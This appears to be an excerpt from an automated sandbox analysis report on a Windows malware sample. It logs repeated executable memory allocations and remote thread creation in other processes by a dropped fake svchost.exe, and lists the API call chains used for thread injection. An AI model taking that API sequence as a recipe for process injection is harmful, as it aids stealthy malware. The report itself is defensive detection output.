Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DF0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2740000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1070000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 29D0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11F0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 27C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 28E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DD0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: EE0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DC0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1320000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 900000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B90000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1620000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 900000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 950000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D40000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 800000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 760000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1310000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C40000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 820000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A70000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1040000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1500000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1420000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1550000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 770000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DB0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1460000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10F0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 800000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A10000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 12A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: F90000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1120000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B50000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: FB0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D20000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1030000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1210000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AC0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 8D0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 620000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A40000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 800000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1190000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1030000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 930000 protect: page execute and read and writeJump to behavior
Contains functionality to inject threads in other processes
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00401580 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,0_2_00401580
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00401580 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,2_2_00401580
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C93240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,2_2_02C93240
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01763240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,6_2_01763240
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03123240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,7_2_03123240
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01543240 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,10_2_01543240
Creates a thread in another existing process (thread injection)
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 16E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2FA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 14C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2921360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2791360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2651360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 5E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2B91360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2D11360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2791360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: BD1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe EIP: 2201360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2471360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 13D1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2861360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2CA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2471360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1561360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: E51360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: AD1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2231360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2151360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 9F1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F21360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 15A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 26D1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: DF1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2741360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1071360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29D1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: C31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 11F1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 27C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 28E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: DD1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: EE1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: BF1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: DC1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1321360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 901360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: B91360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1621360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 901360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 951360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: D41360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 14A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 801360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 761360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1311360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: C41360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 821360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: A71360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1041360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 11C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1501360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1421360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1551360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 771360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: DB1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: BF1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1461360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 10F1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 801360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: A11360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 12A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: F91360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1121360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: B51360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 13A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 10C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: FB1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: D21360Jump to behavior
